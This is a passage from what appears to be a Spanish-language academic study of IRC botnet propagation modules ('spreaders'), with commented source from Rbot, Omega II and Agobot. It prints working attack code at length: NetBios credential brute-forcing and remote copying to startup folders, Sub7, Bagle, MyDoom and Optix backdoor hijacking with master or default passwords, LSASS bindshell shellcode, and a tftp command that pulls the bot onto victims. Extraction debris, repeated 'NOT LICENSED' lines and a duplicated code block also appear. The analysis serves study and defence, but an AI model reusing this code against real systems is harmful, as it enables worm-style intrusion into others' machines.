“envenenada” a un servidor IIS 5.0, el atacante podría ejecutar código en

el contexto de la seguridad local, dando al atacante el control completo

del sistema. Todas las versiones de Microsoft Windows Xp, 2000,NT 4.0

y NT 4.0 Terminal Server Edition se ven afectadas.

• Vu#951555:Microsoft Windows Universal Plug and Play (UPNP)

vulnerable to buffer overflow via malformed advertisement packets:

UPNP es un sistema que permite a los dispositivos de red interactuar

juntos. Una vulnerabilidad en Windows XP, 98 SE y ME, permitiría a un

atacante ejecutar código arbitrario con privilegios del usuario SYSTEM.

Por tanto, los puertos más comunes a ser analizados en búsqueda de alguna

vulnerabilidad para poder penetrar en el sistema son:



Puerto Servicio

42 WINS (Host name

server)

80 HTTP (IIS)

135 RPC (Llamada a

procedimiento remoto)

137 NetBios Servicio de

Nombres

139 NetBios Servicio de

Sesiones

445 Microsoft-Ds-Service

1025 Windows Messenger

1433 Microsoft-SQL-Server

2745 Puerta trasera del gusano

Bagle

3127 Puerta trasera del gusano

MyDoom

3306 MySQL UDF (Funciones

definidas por el usuario)

5000 UPnP (Universal Plug

and Play)

Tabla 6.1: Puertos de las vulnerabilidades más usadas

Una vez visto esto, se estudia en profundidad los módulos que se encargan de estas

tareas:



6.3 Los “Spreaders”

6.3.1 NetBios spreader

El primero en ser implementado en los bots, no explota ninguna vulnerabilidad, se

aprovecha de los fallos de configuración de las redes de Netbios para comprometer el

equipo remoto y conseguir infectar el equipo. Todas las grandes familias lo

implementan de alguna u otra manera.

Técnicamente este módulo comprueba si el ordenador remoto tiene activado el

protocolo Netbios y si posee recursos compartidos, en caso afirmativo, intentará

conectarse usando los nombres de usuario y las contraseñas por defecto.

Vamos a estudiar un poco el código de estas funciones para ver cómo lo efectúa

exactamente, por ejemplo vamos a ver las funciones que usa Omega II, el único bot que

no es de una de las grandes familias y que aprovecha esta vulnerabilidad.

Las funciones que usa son:

• void nb_net_exec(char *netserv, char *netloc): Programa un trabajo

en la máquina infectada, lo programa para dos minutos despues de realizar la

infección. El diagrama de flujo de esta función:



Figura 6.10: Diagrama de flujo de la función nb_net_exec

• unsigned short nb_net_upload(char *ip_addr, char *rem_file)

Se encarga de copiar los archivos necesarios para ejecutar el programa del bot en

el inicio, los argumentos de entrada son la dirección IP y el fichero remoto

respectivamente:

Figura 6.11: Codigo del modulo nb_net_upload

¿Error al cargar?

Carga la información del proceso remoto

Carga la librería netapi32.dll

Fin

Nos envía mensaje al canal de IRC (Attempting remote execution) Añade 2 min al tiempo recogido por el servicio remoto Envía el nuevo tiempo y programa el trabajo

¿Error al cargar?

Fin

No

No

Si

Si

GetModuleFileName(NULL,local_file,sizeof(local_file)); strcpy(local_exe,strrchr(local_file,'\\')+1); //Montamos la ruta de destino sprintf(rem_file, "%s\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%s", ip_addr, local_exe); if (CopyFile(local_file, rem_file, FALSE)) //Copiamos el archivo { sprintf(rem_file, "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%s", local_exe); return 1;}



Este fragmento de código es el encargado de copiar en el directorio remoto de

inicio el archivo ejecutable local llamado local_file.

• unsigned short nb_port_scan(char *ip_addr)

Analiza los puertos 445 y 139 de la dirección introducida como parámetro y

comprueba si es posible establecer una conexión con ellos.

Figura 6.12: Función nb_port_scan

• unsigned short nb_net_connect(char *ip_addr, char *netshare,

char *nb_user, char *nb_pass)

Se encarga de la conexión con el recurso compartido, el primer parámetro es la

dirección IP del recurso, el segundo es el nombre del recurso compartido al que

queremos conectar y los dos últimos son el usuario y la contraseña con los que

queramos identificarnos.

unsigned short nb_port_scan(char *ip_addr) { unsigned short nb_socket; //Para el socket struct sockaddr_in nbaddr_in; nbaddr_in.sin_family = AF_INET; //Montamos la estructura en el pto 445 nbaddr_in.sin_port = htons(445);// con la direccion a la que queremos conectar nbaddr_in.sin_addr.s_addr = inet_addr(ip_addr); nb_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //ponemos el socket a la //escucha if (connect(nb_socket, (struct sockaddr *)&nbaddr_in, sizeof(nbaddr_in)) > 0) { closesocket(nb_socket); return 445; //si la conexión se realiza cerramos el socket y devolvemos el //puerto } nbaddr_in.sin_family = AF_INET; nbaddr_in.sin_port = htons(139); nbaddr_in.sin_addr.s_addr = inet_addr(ip_addr); nb_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (connect(nb_socket, (struct sockaddr *)&nbaddr_in, sizeof(nbaddr_in)) > 0) { closesocket(nb_socket); return 139; //lo mismo para el puerto 139 creamos el socket, intentamos //conectar y si es posible, devolvemos el puerto al que hemos conectado } return 0; }



Figura 6.13: Diagrama de flujo de la función nb_net_connect

• unsigned short nb_enum_share(char *ip_addr, char *netshare)

Se encarga de la enumeracion de recursos accesibles de netbios en una dirección

ip concreta. No es demasiado interesante, se limita a llamar a la función

NetShareEnum que se encarga de devolver informacion sobre los recursos

compartidos en un servidor.

• unsigned short nb_spread(void *vip_addr)

Es la función que se encarga de extender el bot llamando a las anteriores, se le

introduce como único parámetro la dirección ip de destino. Su digrama de flujo:

Fin

Montaje de la dirección del recurso compartido Montaje de la estructura NETRESOURCE Conexión al recurso de red mediante la función WNetAddConnection2

¿Se establece conexión?

Llamada a la función nb_net_upload Llamada a la función nb_net_exec Libera memoria

No Si



Figura 6.14: Diagrama de flujo de la función nb_spread

Todos los bots de las grandes familias usan el mismo esquema para usar este “spreader”,

si bien es cierto que algunos como Rbot no son tan modulados en su código como este,

si no que ponen todo el código en una única función.

La única diferencia reseñable nos la encontraríamos en el caso de la familia

Agobot/Phatbot que es programado como una clase para C++ (CScannerNetBios)

Envía mensaje al canal (Trying user…) Prueba con el nombre de usuario y la contraseña mediante la función nb_net_connect(ip_addr, netshare, nb_username[u], nb_password[p])

Envía mensaje al canal (Enumerating shares...) Llama a la función nb_enum_share(ip_addr, netshare)

Envía mensaje al canal (Scanning ip…) Llama a la función nb_port_scan(ip_addr)

Mientras haya user/pass

¿Error?

Fin

No Si



NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

NOT LICENSED

CScannerNetBios

#m_NetApiStatus: NET_API_STATUS#m_UseInfo: USE_INFO_2#m_UserInfo: USER_INFO_1*#m_ShareInfo: SHARE_INFO_1*#m_w szHost: WCHAR#m_w szServer: WCHAR#m_w szResource: WCHAR#m_bGotShares: bool#m_bGotUsers: bool#m_lUsers: list<userinfo*>#m_lShares: list<shareinfo*>

+CScannerNetBios()+~CScannerNetBios()+Exploit(): bool#NullSession(): bool#CloseSession(): bool#GetShares(lpShares:list<shareinfo*>*): bool#GetUsers(lpUsers:list<userinfo*>*): bool#AuthSession(user:const char*, passw ord:const char*): bool#Exploit(share:const char*, host:const char*, user:const char*, passw ord:const char*): bool#StartViaNetScheduleJobAdd(share:const char*, host:const char*, user:const char*, passw ord:const char*): bool#StartViaCreateService(share:const char*, host:const char*, user:const char*, passw ord:const char*): bool

Figura 6.15: Clase CScannerNetBios del bot Agobot

Aunque cambien los nombres de algunas, las funciones son muy parecidas al caso

anterior, los cambios son mínimos respecto a lo estudiado.

6.3.2 SubSeven Spreader

Sub7 fue durante algunos años y junto con el BackOriffice uno de los troyanos más

usados por los Script-Kiddies y por lo tanto, de los más difundidos, esta situación no

pasó desapercibida a los programadores de bot y quisieron aprovechar la expansión de

este programa para extender aún más sus redes. Aunque en un principio, el troyano

estaba configurado para poder ser protegido mediante contraseña, era muy habitual que

los atacantes dejaran el gusano accesible al no hacer uso de ella, por otro lado, el

creador del programa, introdujo una “contraseña maestra” que daba acceso a todos los

troyanos.

Conociendo esto, se implementó un módulo de expansión de bot, que fue ampliamente

incorporado en la mayoría de los grandes bots. El código que estudiaremos a

continuación pertenece a Rbot.

Se analiza el código de esta función sobre la misma fuente, aunque en un principio

pueda parecer complicado, vamos a intentar hacer comentarios sobre todas las partes del



programa que nos parezcan importantes, haciendo aclaraciones sobre las líneas que nos

parezcan más difíciles de comprender o que nos resulten interesantes para entender el

funcionamiento del programa. Estos comentarios (en rojo, como anteriormente) se verán

completados posteriormente con un esquema del diagrama de flujo de la función donde

se considere necesario realizar especial hincapié.

No entraremos, por el contrario, a estudiar, por ejemplo, como se crea un socket o una

conexión, suponiéndose esos conocimientos ya adquiridos o simplemente poco

significativos para el estudio del programa.



BOOL Sub7(EXINFO exinfo) { char buffer[IRCLINE]; int repeat=0, c; DWORD mode=0; SOCKET ssock; if ((ssock = fsocket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET) return FALSE; SOCKADDR_IN sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = finet_addr(exinfo.ip); sin.sin_port = fhtons((unsigned short)exinfo.port); fconnect(ssock,(LPSOCKADDR)&sin,sizeof(sin)); fioctlsocket(ssock,FIONBIO,&mode); // Creamos el socket en el puerto // especificado restart:; memset(buffer,0,sizeof(buffer)); if (Sub7_Receive(ssock) == -1) //Comprueba que la conexión es correcta goto end; if (frecv(ssock, buffer, sizeof(buffer), 0) <= 0) //Recibe en el buffer goto end; if (strcmp(buffer,"PWD") == 0) { //Comprobamos que nos pide un Password if (repeat > 1) // PWD es un comando del subseven goto end; else sprintf(buffer,((repeat ==0)?("PWD715"):("PWD14438136782715101980"))); repeat++; //Mandamos la contraseña maestra if (fsend(ssock,buffer,strlen(buffer), 0) <= 0) goto end; goto restart; } strtok(buffer," "); if(strcmp(buffer,"connected.") == 0){ //Comprobamos que nos devuelve conectado fsend(ssock,"UPS",3, 0);//Le enviamos el comando UPS:Update from local //UPS: otro comando del subseven memset(buffer,0,sizeof(buffer)); if (Sub7_Receive(ssock) == -1) //La conexión sigue activa goto end; frecv(ssock, buffer, sizeof(buffer), 0); //Recibe la respuesta if (strcmp(buffer,"TID") != 0) //Comando de que todo funciona goto end; char botfile[MAX_PATH], tmpbuf[1041]; // “Monta” el archivo a enviar GetModuleFileName(NULL,botfile,sizeof(botfile)); HANDLE testfile = CreateFile(botfile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); if (testfile == INVALID_HANDLE_VALUE) goto end; int size = GetFileSize(testfile,NULL); CloseHandle(testfile); //Monta el archivo a enviar sprintf(buffer,"SFT05%i",size); //enviamos el comando fsend(ssock,buffer,10, 0); //STF=Upload //para enviar el bot FILE *infile; if ((infile = fopen(botfile,"rb")) == NULL) goto end; while (1) { memset(tmpbuf,0,sizeof(tmpbuf)); c = fread(tmpbuf,1,sizeof(tmpbuf),infile); if (c == 0) break; if (fsend(ssock,tmpbuf ,c, 0) <= 0) { fclose(infile); goto end; } } fclose(infile);



Figura 6.16: Aprovechando el sub7

Figura 6.17: Diagrama de flujo Sub7

FIN

Actualizamos estadísticas. FIN

Creamos archivo Enviamos comando STF:Upload Enviamos archivo

Enviamos comando UPS al ordenador remoto

Enviamos contraseña maestra

Montamos socket Conectamos con el ordenador remoto

¿Recibe TID como respuesta?

¿Conecta?

¿Recibe respuesta PWD?

Si

Si

Si

No

No

No

DWORD err = frecv(ssock, buffer, sizeof(buffer), 0); while (err > 0) { if ((c > 3) || (Sub7_Receive(ssock) == -1)) break; err = frecv(ssock, buffer, sizeof(buffer), 0); c++; } fclosesocket(ssock); //Estadísticas del Rbot _snprintf(buffer,sizeof(buffer),"[%s]: Exploiting IP: %s.",exploit[exinfo.exploit].name,exinfo.ip); if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); addlog(buffer); exploit[exinfo.exploit].stats++; return TRUE; } else if (repeat == 1) { fclosesocket(ssock); Sleep(2000); if ((ssock = CreateSock(exinfo.ip,exinfo.port)) == SOCKET_ERROR) goto end; goto restart; } end:; fclosesocket(ssock); return FALSE; }



Por tanto, el “spreader” es esencialmente un escáner que conecta con el puerto del

subseven (17300) con la contraseña maestra, una vez conectados le subimos el fichero

con el bot infectando así el sistema.

6.3.3 Bagle spreader

Como ocurrió con el Sub7, la expansión del gusano Bagle tampoco fue ignorada por los

desarrolladores de redes bots, este gusano, cuando infectaba un sistema dejaba abierta

una puerta trasera en un puerto (dependiendo de la versión) que permitía la entrada de

un posible atacante.

Este modulo de propagación intenta conectarse al puerto del gusano, si lo consigue le

envía la cadena de identificación del gusano:

char BeagleAuth1[] =

"\x43\xFF\xFF\xFF\x30\x30\x30\x01\x0A\x1F\x2B\x28\x2B\xA1\x32\x01"

Una vez que hemos conseguido acceder al sistema, enviaremos el bot mediante Http:

_snprintf(buffer,sizeof(buffer),"http://%s:%s/%s", GetIP(sSock),

httpport, botfile);

Se estudia el código fuente de este módulo para ver exactamente cómo realiza estas

acciones:



Figura 6.18: Código fuente del programa para explotar el gusano bagle

El diagrama de flujo:

char BeagleAuth1[] = "\x43\xFF\xFF\xFF\x30\x30\x30\x01\x0A\x1F\x2B\x28\x2B\xA1\x32\x01"; char BeagleAuth2[] = "\x43\xFF\xFF\xFF\x30\x30\x30\x01\x0A\x28\x91\xA1\x2B\xE6\x60\x2F\x32\x8F\x60\x15\x1A\x20\x1A"; // Cadena de identificacion del gusano, dos variantes BOOL Beagle(EXINFO exinfo) { char *BeagleAuth, buffer[IRCLINE], botfile[MAX_PATH], fname[_MAX_FNAME], ext[_MAX_EXT]; BOOL success = FALSE; WSADATA WSAData; if (fWSAStartup(MAKEWORD(1,1), &WSAData)!=0) return FALSE; SOCKET sSock; //Creación del socket if((sSock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) { SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_addr.s_addr = finet_addr(exinfo.ip); ssin.sin_port = fhtons((unsigned short)exinfo.port); //Intentamos conectarnos al puerto e identificarnos if(fconnect(sSock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) { BeagleAuth = ((strcmp(exinfo.command, "beagle1") == 0)?(BeagleAuth1):(BeagleAuth2)); if(fsend(sSock, BeagleAuth, sizeof(BeagleAuth), 0) != SOCKET_ERROR) { if (frecv(sSock, buffer, 8, 0) != SOCKET_ERROR) { GetModuleFileName(0, botfile, sizeof(botfile)); _splitpath(botfile, NULL, NULL, fname, ext); //Una vez conectados _snprintf(botfile, sizeof(botfile), "%s%s", fname, ext);//Enviamos el gusano por Http _snprintf(buffer,sizeof(buffer),"http://%s:%s/%s", GetIP(sSock), httpport, botfile); if(fsend(sSock, buffer, sizeof(buffer), 0)) success = TRUE; }}}} fclosesocket(sSock); //Cerramos el socket fWSACleanup(); if (success) { //Actualizamos las estadisticas de Rbot _snprintf(buffer, sizeof(buffer), "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip); if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); addlog(buffer); exploit[exinfo.exploit].stats++; } return (success); }



Figura 6.19: Diagrama de flujo del módulo bagle

6.3.4 MyDoom spreader

Un caso muy parecido al anterior: Valiéndose de equipos infectados por un gusano,

aprovecha para instalar el bot.

No se entra demasiado en detalles de cómo explota el puerto abierto, ya que es casi

idéntico al caso anterior, el único cambio reseñable, es el código que manda al puerto

abierto por el gusano, que en este caso es:

BYTE MyDoomTrailor[] = "\x85\x13\x3c\x9e\xa2";

6.3.5 Lsass spreader

Este módulo aprovecha la vulnerabilidad del servicio lsass de en Windows para

provocar un Buffer overflow en el equipo remoto y ejecutar un comando que nos

permita instalar el bot en el equipo atacado.

FIN

Cerramos Socket. FIN

Enviamos el Bot por HTTP

Le enviamos cadena con identificación

Montamos el socket para la conexión

¿Se establece conexión?

¿Identificación

No

No Si

Si



No se estudia en esta ocasión el código fuente completo, ya que es demasiado extenso,

sin embargo, se comenta los trozos del programa más interesantes y que expliquen

cómo se realiza cada una de las acciones.

El módulo comienza con la declaración de unas cadenas ejecutables que serán las

encargadas de realizar el desbordamiento de buffer y ejecutar el intérprete de comandos

en el equipo remoto:

Figura 6.20: Fragmento de codigo de las cadenas a inyectar

Bien, la primera de ellas es el código ejecutable (en hexadecimal) que se inyecta para

obtener la cuenta shell, la segunda de ellas es la cadena que se suministra al servicio y

que permite desbordar programa y ejecutar la primera.

Esta última cadena, varia según la versión del sistema operativo, es por ello que sea

necesario declarar varias distintas.

char bindshell[] = "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A" "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6" "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D" "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A" "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58" "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0" "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41" "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B" "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D" "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA" "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10" "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF" "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8" "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79" "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C" "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59" "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD" "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC" "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5" "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6" "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0" "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED" "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99"; char req1[] = "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F" "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02" "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F" "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70" "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30" "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54" "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";



Ya en el código del programa, declara las variables en las que se almacenan los buffers

con las cadenas a enviar y posteriormente se crea los sockets para la comunicación con

el equipo remoto.

Para saber que código hay que inyectar, se averigua que versión de Windows está

usando la máquina remota, para ello contamos con la función FpHost.

targetOS = FpHost(exinfo.ip, FP_RPC);

Nos devuelve la versión que está ejecutando el ordenador en la dirección IP objetivo.

Con esta información, enviamos el buffer con el exploit y con el intérprete de comandos,

si se ejecuta con éxito ejecutamos el comando para cargar el bot remotamente:

_snprintf(cmd_buff, sizeof(cmd_buff),"tftp -i %s get %s&%s&exit\n",

GetIP(exinfo.sock), filename, filename);

Si todo ha ido bien, el ordenador remoto quedará infectado por el bot.

6.3.6 Sasser Spreader

El gusano Sasser, fue como el MyDoom, uno de los más propagados por Internet,

explotaba una vulnerabilidad del equipo atacado, aprovechaba el mismo fallo en el

servicio lsass de los equipos Windows que hemos comentado anteriormente.

El gusano original, aprovechaba el desbordamiento para abrir un intérprete de comandos

en el equipo remoto y en él ejecutaba una orden de transferencia Tftp al equipo origen

(también infectado) que se descargaba y ejecutaba el gusano.

Una vez comprometido, instalaba una puerta trasera en el puerto TCP/9996 que permitía

el acceso posterior al equipo:



Figura 6.21: Funcionamiento del gusano Sasser

Los creadores de las redes bots se aprovechan de nuevo de los equipos infectados por

este gusano, valiéndose de este puerto abierto para hacer que ejecute un shell remoto en

el puerto 5300.

Se muestra a continuación el diagrama de flujo para tener una idea concreta de cómo se

realizan estas acciones.



Figura 6.22: Diagrama de flujo de la explotación del gusano sasser

6.3.7 Optix Spreader

Otro módulo que se aprovecha de la anterior infección por un troyano del equipo

infectado.

Se comenta a continuación directamente el código fuente, ya que es bastante aclarador:

Cierra el socket de esa conexión (se ha abierto el puerto 5300 con una

Monta en el buffer el shell y lo envía

Envía comando User Envía comando Pass

Declara el código de la shell Comprueba la versión del S.O. Crea los sockets para la conexión

¿Conexión?

¿Responde?

Fin Se conecta al nuevo puerto 5300 y ejecuta el comando de descarga del bot

Fin

No

No

Si

Si



BOOL Optix(EXINFO exinfo) { char buffer[IRCLINE], szBuffer[64], szFilePath[MAX_PATH]; int read = 0; WSADATA opxdata, upldata; SOCKET opxsock, uplsock; SOCKADDR_IN opxinfo, uplinfo; //Declaracin de variables pertinentes bool IS11 = FALSE; if (fWSAStartup(MAKEWORD(2,2), &opxdata) != 0) return FALSE; //Conecta al puerto principal de Optix opxinfo.sin_addr.s_addr = finet_addr(exinfo.ip); opxinfo.sin_port = fhtons((unsigned short)exinfo.port); opxinfo.sin_family = AF_INET; opxsock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); start: if (fconnect(opxsock, (LPSOCKADDR)&opxinfo, sizeof(opxinfo)) == SOCKET_ERROR) { fclosesocket(opxsock); fWSACleanup(); return FALSE;} //Identificacion:Optix se bloqueara si si el password es incorrecto (3 intentos) if (IS11 == TRUE) sprintf(szBuffer, "022¬OPtest¬v1.1\r\n"); //OPtest = Default Password, 1.1 Server else sprintf(szBuffer, "022¬OPtest¬v1.2\r\n"); //OPtest = Default Password, 1.2 Server fsend(opxsock, szBuffer, strlen(szBuffer), 0); Sleep(500); memset(szBuffer, 0, sizeof(szBuffer)); frecv(opxsock, szBuffer, sizeof(szBuffer), 0); //Comprueba si es la version 1.1 if (strstr(szBuffer, "001¬Your client version is outdated!") != NULL) { //1.1 Server IS11 = TRUE; fclosesocket(opxsock); goto start; } //El resto de versiones if (strstr(szBuffer, "001¬") == NULL){//001 Deheria ser la misma en todas las versiones Sleep(500); //Si no funciona, probamos con el password NULL if (IS11 == TRUE) sprintf(szBuffer, "022¬¬v1.1\r\n"); //NULL Password, 1.1 Server else sprintf(szBuffer, "022¬¬v1.2\r\n"); //NULL Password, 1.2 Server fsend(opxsock, szBuffer, strlen(szBuffer), 0); Sleep(500); memset(szBuffer, 0, sizeof(szBuffer)); frecv(opxsock, szBuffer, sizeof(szBuffer), 0); if (strstr(szBuffer, "001¬") == NULL) { //001 Deberia ser la misma en todas las versiones fclosesocket(opxsock); fWSACleanup(); return FALSE;}}

BOOL Optix(EXINFO exinfo) { char buffer[IRCLINE], szBuffer[64], szFilePath[MAX_PATH]; int read = 0; WSADATA opxdata, upldata; SOCKET opxsock, uplsock; SOCKADDR_IN opxinfo, uplinfo; //Declaración de variables pertinentes bool IS11 = FALSE; if (fWSAStartup(MAKEWORD(2,2), &opxdata) != 0) return FALSE; //Conecta al puerto principal de Optix opxinfo.sin_addr.s_addr = finet_addr(exinfo.ip); opxinfo.sin_port = fhtons((unsigned short)exinfo.port); opxinfo.sin_family = AF_INET; opxsock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); start: if (fconnect(opxsock, (LPSOCKADDR)&opxinfo, sizeof(opxinfo)) == SOCKET_ERROR) { fclosesocket(opxsock); fWSACleanup(); return FALSE;} //Identificación:Optix se bloqueará si si el password es incorrecto (3 intentos) if (IS11 == TRUE) sprintf(szBuffer, "022¬OPtest¬v1.1\r\n"); //OPtest = Default Password, 1.1 Server else sprintf(szBuffer, "022¬OPtest¬v1.2\r\n"); //OPtest = Default Password, 1.2 Server fsend(opxsock, szBuffer, strlen(szBuffer), 0); Sleep(500); memset(szBuffer, 0, sizeof(szBuffer)); frecv(opxsock, szBuffer, sizeof(szBuffer), 0); //Comprueba si es la versión 1.1 if (strstr(szBuffer, "001¬Your client version is outdated!") != NULL) { //1.1 Server IS11 = TRUE; fclosesocket(opxsock); goto start; } //El resto de versiones if (strstr(szBuffer, "001¬") == NULL){ //001 Debería ser la misma en todas las versiones Sleep(500); //Si no funciona, probamos con el password NULL if (IS11 == TRUE) sprintf(szBuffer, "022¬¬v1.1\r\n"); //NULL Password, 1.1 Server else sprintf(szBuffer, "022¬¬v1.2\r\n"); //NULL Password, 1.2 Server fsend(opxsock, szBuffer, strlen(szBuffer), 0); Sleep(500); memset(szBuffer, 0, sizeof(szBuffer)); frecv(opxsock, szBuffer, sizeof(szBuffer), 0); if (strstr(szBuffer, "001¬") == NULL) { //001 Debería ser la misma en todas las versiones fclosesocket(opxsock); fWSACleanup(); return FALSE;}}



//Prepara Optix para recibir el archivo fsend(opxsock, "019¬\r\n", 6, 0); Sleep(500); memset(szBuffer, 0, sizeof(szBuffer)); frecv(opxsock, szBuffer, sizeof(szBuffer), 0); if (strcmp(szBuffer, "020¬\r\n") != 0) { //Si devuelve el codigo de error fclosesocket(opxsock); fWSACleanup(); return FALSE; } //Consigue la ruta del archivo memset(szFilePath, 0, sizeof(szFilePath)); GetModuleFileName(NULL, szFilePath, sizeof(szFilePath)); //Abre el archivo FILE *f = fopen(szFilePath, "rb"); if (f == NULL) { fclosesocket(opxsock); fWSACleanup(); return FALSE; } //Conecta al socket para enviar el archivo if (fWSAStartup(MAKEWORD(2,2), &upldata) != 0) { fclosesocket(opxsock); fWSACleanup(); return FALSE; } uplinfo.sin_addr.s_addr = finet_addr(exinfo.ip); uplinfo.sin_port = fhtons(500); //Monta el socket para la conexión uplinfo.sin_family = AF_INET; uplsock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fconnect(uplsock, (LPSOCKADDR)&uplinfo, sizeof(uplinfo)) == SOCKET_ERROR) { fclosesocket(uplsock); fclosesocket(opxsock); fWSACleanup(); return FALSE; } //Envía la informacion del archivo (Donde subirlo y tamaño..) HANDLE hFile = CreateFile(szFilePath, GENERIC_READ,FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); DWORD dwSize = GetFileSize(hFile, 0); CloseHandle(hFile); sprintf(szBuffer, "C:\\a.exe\r\n%d\r\n", dwSize); fsend(uplsock, szBuffer, strlen(szBuffer), 0); Sleep(500); memset(szBuffer, 0, sizeof(szBuffer)); frecv(uplsock, szBuffer, sizeof(szBuffer), 0); //Se recibe OK REDY subimos el archivo.. if (strstr(szBuffer, "+OK REDY") == NULL) { fclosesocket(uplsock); fclosesocket(opxsock); fWSACleanup(); return FALSE; } //Subiendo memset(szBuffer, 0, sizeof(szBuffer)); while (!feof(f)) { read = fread(szBuffer, sizeof(char), sizeof(szBuffer), f); fsend(uplsock, szBuffer, read, 0); } memset(szBuffer, 0, sizeof(szBuffer)); frecv(uplsock, szBuffer, sizeof(szBuffer),



Figura 6.23: Código del programa de explotación del gusano Optix

6.3.8 Dcom spreader

Este módulo aprovecha el desbordamiento de buffer descubierto en RPC DCOM

(llamada a procedimiento remoto) de Windows (Familias Xp, NT, 2000…).

Fueron lanzadas dos versiones, la segunda (más optimizada y mejorada) es la que

vamos a estudiar aquí, para ver cómo se vale el bot de esta vulnerabilidad:

En primer lugar, el código comienza con la declaración de las cadenas de caracteres con

el código en hexadecimal del lanzador del intérprete de comandos y del buffer que se

enviará para provocar el desbordamiento:

